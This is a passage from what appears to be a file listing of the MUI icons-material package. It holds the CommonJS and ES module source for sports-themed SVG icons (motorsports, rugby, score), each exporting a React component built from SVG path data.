    "path": "packages/mui-icons-material/lib/SportsMotorsportsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.96 11.22C21.57 7.01 17.76 4 13.56 4c-.19 0-.38.01-.57.02C2 4.74 2 17.2 2 17.2v.8c0 1.1.9 2 2 2h10c4.67 0 8.41-4.01 7.96-8.78m-16.7.34c.57-1.29 1.28-2.35 2.14-3.19l3.62 1.53c.6.25.98.83.98 1.48 0 .89-.72 1.61-1.61 1.61H4.72c.15-.46.32-.94.54-1.43m13.18 4.48C17.3 17.29 15.68 18 14 18H4v-.8c0-.02.01-.92.24-2.2h6.15c1.99 0 3.61-1.62 3.61-3.61 0-1.45-.87-2.76-2.2-3.32L9.3 7.01c1.1-.57 2.37-.9 3.82-.99.15-.02.3-.02.44-.02 3.31 0 6.13 2.37 6.41 5.41.16 1.72-.38 3.36-1.53 4.63\"\n}), 'SportsMotorsportsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMotorsportsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.96 11.22C21.57 7.01 17.76 4 13.56 4c-.19 0-.38.01-.57.02C2 4.74 2 17.2 2 17.2v.8c0 1.1.9 2 2 2h10c4.67 0 8.41-4.01 7.96-8.78m-16.7.34c.57-1.29 1.28-2.35 2.14-3.19l3.62 1.53c.6.25.98.83.98 1.48 0 .89-.72 1.61-1.61 1.61H4.72c.15-.46.32-.94.54-1.43m13.18 4.48C17.3 17.29 15.68 18 14 18H4v-.8c0-.02.01-.92.24-2.2h6.15c1.99 0 3.61-1.62 3.61-3.61 0-1.45-.87-2.76-2.2-3.32L9.3 7.01c1.1-.57 2.37-.9 3.82-.99.15-.02.3-.02.44-.02 3.31 0 6.13 2.37 6.41 5.41.16 1.72-.38 3.36-1.53 4.63\"\n}), 'SportsMotorsportsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMotorsportsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11.39c0-.65-.39-1.23-.98-1.48L5.44 7.55c-1.48 1.68-2.32 3.7-2.8 5.45h7.75c.89 0 1.61-.72 1.61-1.61\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.96 11.22c-.41-4.41-4.56-7.49-8.98-7.2-2.51.16-4.44.94-5.93 2.04l4.74 2.01c1.33.57 2.2 1.87 2.2 3.32 0 1.99-1.62 3.61-3.61 3.61H2.21C2 16.31 2 17.2 2 17.2v.8c0 1.1.9 2 2 2h10c4.67 0 8.41-4.01 7.96-8.78\"\n}, \"1\")], 'SportsMotorsportsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMotorsportsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11.39c0-.65-.39-1.23-.98-1.48L5.44 7.55c-1.48 1.68-2.32 3.7-2.8 5.45h7.75c.89 0 1.61-.72 1.61-1.61\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.96 11.22c-.41-4.41-4.56-7.49-8.98-7.2-2.51.16-4.44.94-5.93 2.04l4.74 2.01c1.33.57 2.2 1.87 2.2 3.32 0 1.99-1.62 3.61-3.61 3.61H2.21C2 16.31 2 17.2 2 17.2v.8c0 1.1.9 2 2 2h10c4.67 0 8.41-4.01 7.96-8.78\"\n}, \"1\")], 'SportsMotorsportsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMotorsportsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11.39c0-.65-.39-1.23-.98-1.48L5.44 7.55c-1.48 1.68-2.32 3.7-2.8 5.45h7.75c.89 0 1.61-.72 1.61-1.61\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.96 11.22c-.41-4.41-4.56-7.49-8.98-7.2-2.51.16-4.44.94-5.93 2.04l4.74 2.01c1.33.57 2.2 1.87 2.2 3.32 0 1.99-1.62 3.61-3.61 3.61H2.21C2 16.31 2 17.2 2 17.2V20h12c4.67 0 8.41-4.01 7.96-8.78\"\n}, \"1\")], 'SportsMotorsportsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMotorsportsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11.39c0-.65-.39-1.23-.98-1.48L5.44 7.55c-1.48 1.68-2.32 3.7-2.8 5.45h7.75c.89 0 1.61-.72 1.61-1.61\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.96 11.22c-.41-4.41-4.56-7.49-8.98-7.2-2.51.16-4.44.94-5.93 2.04l4.74 2.01c1.33.57 2.2 1.87 2.2 3.32 0 1.99-1.62 3.61-3.61 3.61H2.21C2 16.31 2 17.2 2 17.2V20h12c4.67 0 8.41-4.01 7.96-8.78\"\n}, \"1\")], 'SportsMotorsportsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMotorsportsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.56 6c-.15 0-.29 0-.44.01-1.45.1-2.72.43-3.82.99l2.5 1.06c1.33.57 2.2 1.87 2.2 3.32 0 1.99-1.62 3.61-3.61 3.61H4.24C4.01 16.28 4 17.19 4 17.2v.8h10c1.68 0 3.3-.71 4.44-1.96 1.15-1.27 1.7-2.91 1.54-4.63C19.69 8.37 16.87 6 13.56 6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.96 11.22C21.57 7.01 17.76 4 13.56 4c-.19 0-.38.01-.57.02C2 4.74 2 17.2 2 17.2v.8c0 1.1.9 2 2 2h10c4.67 0 8.41-4.01 7.96-8.78m-16.7.34c.57-1.29 1.28-2.35 2.14-3.19l3.62 1.53c.6.25.98.83.98 1.48 0 .89-.72 1.61-1.61 1.61H4.72c.15-.46.32-.94.54-1.43m13.18 4.48C17.3 17.29 15.68 18 14 18H4v-.8c0-.02.01-.92.24-2.2h6.15c1.99 0 3.61-1.62 3.61-3.61 0-1.45-.87-2.76-2.2-3.32L9.3 7.01c1.1-.57 2.37-.9 3.82-.99.15-.02.3-.02.44-.02 3.31 0 6.13 2.37 6.41 5.41.16 1.72-.38 3.36-1.53 4.63\"\n}, \"1\")], 'SportsMotorsportsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMotorsportsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.56 6c-.15 0-.29 0-.44.01-1.45.1-2.72.43-3.82.99l2.5 1.06c1.33.57 2.2 1.87 2.2 3.32 0 1.99-1.62 3.61-3.61 3.61H4.24C4.01 16.28 4 17.19 4 17.2v.8h10c1.68 0 3.3-.71 4.44-1.96 1.15-1.27 1.7-2.91 1.54-4.63C19.69 8.37 16.87 6 13.56 6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.96 11.22C21.57 7.01 17.76 4 13.56 4c-.19 0-.38.01-.57.02C2 4.74 2 17.2 2 17.2v.8c0 1.1.9 2 2 2h10c4.67 0 8.41-4.01 7.96-8.78m-16.7.34c.57-1.29 1.28-2.35 2.14-3.19l3.62 1.53c.6.25.98.83.98 1.48 0 .89-.72 1.61-1.61 1.61H4.72c.15-.46.32-.94.54-1.43m13.18 4.48C17.3 17.29 15.68 18 14 18H4v-.8c0-.02.01-.92.24-2.2h6.15c1.99 0 3.61-1.62 3.61-3.61 0-1.45-.87-2.76-2.2-3.32L9.3 7.01c1.1-.57 2.37-.9 3.82-.99.15-.02.3-.02.44-.02 3.31 0 6.13 2.37 6.41 5.41.16 1.72-.38 3.36-1.53 4.63\"\n}, \"1\")], 'SportsMotorsportsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.23 6c-1.66 0-3.22.66-4.36 1.73C6.54 6.73 5.61 6 4.5 6 3.12 6 2 7.12 2 8.5S3.12 11 4.5 11c.21 0 .41-.03.61-.08-.05.25-.09.51-.1.78-.18 3.68 2.95 6.68 6.68 6.27 2.55-.28 4.68-2.26 5.19-4.77.15-.71.15-1.4.06-2.06-.09-.6.38-1.13.99-1.13H22V6zM4.5 9c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m6.5 6c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\")], 'SportsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.23 6c-1.66 0-3.22.66-4.36 1.73C6.54 6.73 5.61 6 4.5 6 3.12 6 2 7.12 2 8.5S3.12 11 4.5 11c.21 0 .41-.03.61-.08-.05.25-.09.51-.1.78-.18 3.68 2.95 6.68 6.68 6.27 2.55-.28 4.68-2.26 5.19-4.77.15-.71.15-1.4.06-2.06-.09-.6.38-1.13.99-1.13H22V6zM4.5 9c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m6.5 6c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\")], 'SportsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6h-9.77c-1.66 0-3.22.66-4.36 1.73C6.54 6.73 5.61 6 4.5 6 3.12 6 2 7.12 2 8.5S3.12 11 4.5 11c.21 0 .41-.03.61-.08-.05.25-.09.51-.1.78-.18 3.68 2.95 6.68 6.68 6.27 2.55-.28 4.68-2.26 5.19-4.77.15-.71.15-1.4.06-2.06-.09-.6.38-1.13.99-1.13h2.76C21.56 10 22 9.55 22 9V7c0-.55-.45-1-1-1M4.5 9c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m6.5 6c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\")], 'SportsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6h-9.77c-1.66 0-3.22.66-4.36 1.73C6.54 6.73 5.61 6 4.5 6 3.12 6 2 7.12 2 8.5S3.12 11 4.5 11c.21 0 .41-.03.61-.08-.05.25-.09.51-.1.78-.18 3.68 2.95 6.68 6.68 6.27 2.55-.28 4.68-2.26 5.19-4.77.15-.71.15-1.4.06-2.06-.09-.6.38-1.13.99-1.13h2.76C21.56 10 22 9.55 22 9V7c0-.55-.45-1-1-1M4.5 9c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m6.5 6c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\")], 'SportsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsRugby.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.49 3.51c-.56-.56-2.15-.97-4.16-.97-3.08 0-7.15.96-9.98 3.79-4.69 4.7-4.25 12.74-2.84 14.16.56.56 2.15.97 4.16.97 3.08 0 7.15-.96 9.98-3.79 4.69-4.7 4.25-12.74 2.84-14.16M7.76 7.76c2.64-2.64 6.35-3.12 8.03-3.19-2.05.94-4.46 2.45-6.61 4.61-2.16 2.16-3.67 4.58-4.62 6.63.1-2.48.88-5.74 3.2-8.05m8.48 8.48c-2.64 2.64-6.35 3.12-8.03 3.19 2.05-.94 4.46-2.45 6.61-4.61 2.16-2.16 3.67-4.58 4.62-6.63-.1 2.48-.88 5.74-3.2 8.05\"\n}), 'SportsRugby');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsRugby.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.49 3.51c-.56-.56-2.15-.97-4.16-.97-3.08 0-7.15.96-9.98 3.79-4.69 4.7-4.25 12.74-2.84 14.16.56.56 2.15.97 4.16.97 3.08 0 7.15-.96 9.98-3.79 4.69-4.7 4.25-12.74 2.84-14.16M7.76 7.76c2.64-2.64 6.35-3.12 8.03-3.19-2.05.94-4.46 2.45-6.61 4.61-2.16 2.16-3.67 4.58-4.62 6.63.1-2.48.88-5.74 3.2-8.05m8.48 8.48c-2.64 2.64-6.35 3.12-8.03 3.19 2.05-.94 4.46-2.45 6.61-4.61 2.16-2.16 3.67-4.58 4.62-6.63-.1 2.48-.88 5.74-3.2 8.05\"\n}), 'SportsRugby');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsRugbyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.49 3.51c-.56-.56-2.15-.97-4.16-.97-3.08 0-7.15.96-9.98 3.79-4.69 4.7-4.25 12.74-2.84 14.16.56.56 2.15.97 4.16.97 3.08 0 7.15-.96 9.98-3.79 4.69-4.7 4.25-12.74 2.84-14.16M5.71 18.29c.63-1.89 2.16-4.99 4.87-7.7 2.68-2.68 5.78-4.23 7.7-4.88-.63 1.89-2.16 4.99-4.88 7.7-2.66 2.68-5.76 4.23-7.69 4.88M7.76 7.76c2.64-2.64 6.34-3.12 8.03-3.19-2.05.94-4.46 2.46-6.61 4.61-2.16 2.16-3.67 4.58-4.61 6.63.09-2.48.87-5.74 3.19-8.05m8.48 8.48c-2.64 2.64-6.34 3.12-8.03 3.19 2.05-.94 4.46-2.46 6.61-4.61 2.16-2.16 3.67-4.58 4.62-6.63-.1 2.48-.88 5.74-3.2 8.05\"\n}), 'SportsRugbyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsRugbyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.49 3.51c-.56-.56-2.15-.97-4.16-.97-3.08 0-7.15.96-9.98 3.79-4.69 4.7-4.25 12.74-2.84 14.16.56.56 2.15.97 4.16.97 3.08 0 7.15-.96 9.98-3.79 4.69-4.7 4.25-12.74 2.84-14.16M5.71 18.29c.63-1.89 2.16-4.99 4.87-7.7 2.68-2.68 5.78-4.23 7.7-4.88-.63 1.89-2.16 4.99-4.88 7.7-2.66 2.68-5.76 4.23-7.69 4.88M7.76 7.76c2.64-2.64 6.34-3.12 8.03-3.19-2.05.94-4.46 2.46-6.61 4.61-2.16 2.16-3.67 4.58-4.61 6.63.09-2.48.87-5.74 3.19-8.05m8.48 8.48c-2.64 2.64-6.34 3.12-8.03 3.19 2.05-.94 4.46-2.46 6.61-4.61 2.16-2.16 3.67-4.58 4.62-6.63-.1 2.48-.88 5.74-3.2 8.05\"\n}), 'SportsRugbyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsRugbyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.49 3.51c-.56-.56-2.15-.97-4.16-.97-3.08 0-7.15.96-9.98 3.79-4.69 4.7-4.25 12.74-2.84 14.16.56.56 2.15.97 4.16.97 3.08 0 7.15-.96 9.98-3.79 4.69-4.7 4.25-12.74 2.84-14.16M7.76 7.76c2.64-2.64 6.35-3.12 8.03-3.19-2.05.94-4.46 2.45-6.61 4.61-2.16 2.16-3.67 4.58-4.61 6.63.09-2.48.87-5.74 3.19-8.05m8.48 8.48c-2.64 2.64-6.35 3.12-8.03 3.19 2.05-.94 4.46-2.45 6.61-4.61 2.16-2.16 3.67-4.58 4.62-6.63-.1 2.48-.88 5.74-3.2 8.05\"\n}), 'SportsRugbyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsRugbyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.49 3.51c-.56-.56-2.15-.97-4.16-.97-3.08 0-7.15.96-9.98 3.79-4.69 4.7-4.25 12.74-2.84 14.16.56.56 2.15.97 4.16.97 3.08 0 7.15-.96 9.98-3.79 4.69-4.7 4.25-12.74 2.84-14.16M7.76 7.76c2.64-2.64 6.35-3.12 8.03-3.19-2.05.94-4.46 2.45-6.61 4.61-2.16 2.16-3.67 4.58-4.61 6.63.09-2.48.87-5.74 3.19-8.05m8.48 8.48c-2.64 2.64-6.35 3.12-8.03 3.19 2.05-.94 4.46-2.45 6.61-4.61 2.16-2.16 3.67-4.58 4.62-6.63-.1 2.48-.88 5.74-3.2 8.05\"\n}), 'SportsRugbyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsRugbySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.49 3.51c-.56-.56-2.15-.97-4.16-.97-3.08 0-7.15.96-9.98 3.79-4.69 4.7-4.25 12.74-2.84 14.16.56.56 2.15.97 4.16.97 3.08 0 7.15-.96 9.98-3.79 4.69-4.7 4.25-12.74 2.84-14.16M7.76 7.76c2.64-2.64 6.35-3.12 8.03-3.19-2.05.94-4.46 2.45-6.61 4.61-2.16 2.16-3.67 4.58-4.61 6.63.09-2.48.87-5.74 3.19-8.05m8.48 8.48c-2.64 2.64-6.35 3.12-8.03 3.19 2.05-.94 4.46-2.45 6.61-4.61 2.16-2.16 3.67-4.58 4.62-6.63-.1 2.48-.88 5.74-3.2 8.05\"\n}), 'SportsRugbySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsRugbySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.49 3.51c-.56-.56-2.15-.97-4.16-.97-3.08 0-7.15.96-9.98 3.79-4.69 4.7-4.25 12.74-2.84 14.16.56.56 2.15.97 4.16.97 3.08 0 7.15-.96 9.98-3.79 4.69-4.7 4.25-12.74 2.84-14.16M7.76 7.76c2.64-2.64 6.35-3.12 8.03-3.19-2.05.94-4.46 2.45-6.61 4.61-2.16 2.16-3.67 4.58-4.61 6.63.09-2.48.87-5.74 3.19-8.05m8.48 8.48c-2.64 2.64-6.35 3.12-8.03 3.19 2.05-.94 4.46-2.45 6.61-4.61 2.16-2.16 3.67-4.58 4.62-6.63-.1 2.48-.88 5.74-3.2 8.05\"\n}), 'SportsRugbySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsRugbyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.29 5.71c-1.93.64-5.02 2.19-7.7 4.88-2.71 2.71-4.24 5.81-4.87 7.7 1.93-.64 5.03-2.2 7.7-4.87 2.71-2.72 4.24-5.82 4.87-7.71M9.17 9.17c2.15-2.15 4.56-3.67 6.61-4.61-1.68.08-5.38.56-8.02 3.2-2.32 2.32-3.1 5.58-3.2 8.04.94-2.05 2.45-4.47 4.61-6.63m5.66 5.66c-2.15 2.15-4.56 3.67-6.61 4.61 1.68-.08 5.39-.55 8.03-3.19 2.32-2.32 3.1-5.58 3.2-8.04-.95 2.04-2.46 4.46-4.62 6.62\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.49 3.51c-.56-.56-2.15-.97-4.16-.97-3.08 0-7.15.96-9.98 3.79-4.69 4.7-4.25 12.74-2.84 14.16.56.56 2.15.97 4.16.97 3.08 0 7.15-.96 9.98-3.79 4.69-4.7 4.25-12.74 2.84-14.16M5.71 18.29c.63-1.89 2.16-4.99 4.87-7.7 2.68-2.68 5.78-4.23 7.7-4.88-.63 1.89-2.16 4.99-4.88 7.7-2.66 2.68-5.76 4.23-7.69 4.88M7.76 7.76c2.64-2.64 6.34-3.12 8.03-3.19-2.05.94-4.46 2.46-6.61 4.61-2.16 2.16-3.67 4.58-4.61 6.63.09-2.48.87-5.74 3.19-8.05m8.48 8.48c-2.64 2.64-6.34 3.12-8.03 3.19 2.05-.94 4.46-2.46 6.61-4.61 2.16-2.16 3.67-4.58 4.62-6.63-.1 2.48-.88 5.74-3.2 8.05\"\n}, \"1\")], 'SportsRugbyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsRugbyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.29 5.71c-1.93.64-5.02 2.19-7.7 4.88-2.71 2.71-4.24 5.81-4.87 7.7 1.93-.64 5.03-2.2 7.7-4.87 2.71-2.72 4.24-5.82 4.87-7.71M9.17 9.17c2.15-2.15 4.56-3.67 6.61-4.61-1.68.08-5.38.56-8.02 3.2-2.32 2.32-3.1 5.58-3.2 8.04.94-2.05 2.45-4.47 4.61-6.63m5.66 5.66c-2.15 2.15-4.56 3.67-6.61 4.61 1.68-.08 5.39-.55 8.03-3.19 2.32-2.32 3.1-5.58 3.2-8.04-.95 2.04-2.46 4.46-4.62 6.62\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.49 3.51c-.56-.56-2.15-.97-4.16-.97-3.08 0-7.15.96-9.98 3.79-4.69 4.7-4.25 12.74-2.84 14.16.56.56 2.15.97 4.16.97 3.08 0 7.15-.96 9.98-3.79 4.69-4.7 4.25-12.74 2.84-14.16M5.71 18.29c.63-1.89 2.16-4.99 4.87-7.7 2.68-2.68 5.78-4.23 7.7-4.88-.63 1.89-2.16 4.99-4.88 7.7-2.66 2.68-5.76 4.23-7.69 4.88M7.76 7.76c2.64-2.64 6.34-3.12 8.03-3.19-2.05.94-4.46 2.46-6.61 4.61-2.16 2.16-3.67 4.58-4.61 6.63.09-2.48.87-5.74 3.19-8.05m8.48 8.48c-2.64 2.64-6.34 3.12-8.03 3.19 2.05-.94 4.46-2.46 6.61-4.61 2.16-2.16 3.67-4.58 4.62-6.63-.1 2.48-.88 5.74-3.2 8.05\"\n}, \"1\")], 'SportsRugbyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsScore.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6H9V4h2zm4-2h-2v2h2zM9 14h2v-2H9zm10-4V8h-2v2zm0 4v-2h-2v2zm-6 0h2v-2h-2zm6-10h-2v2h2zm-6 4V6h-2v2zm-6 2V8h2V6H7V4H5v16h2v-8h2v-2zm8 2h2v-2h-2zm-4-2v2h2v-2zM9 8v2h2V8zm4 2h2V8h-2zm2-4v2h2V6z\"\n}), 'SportsScore');"
  },
  {
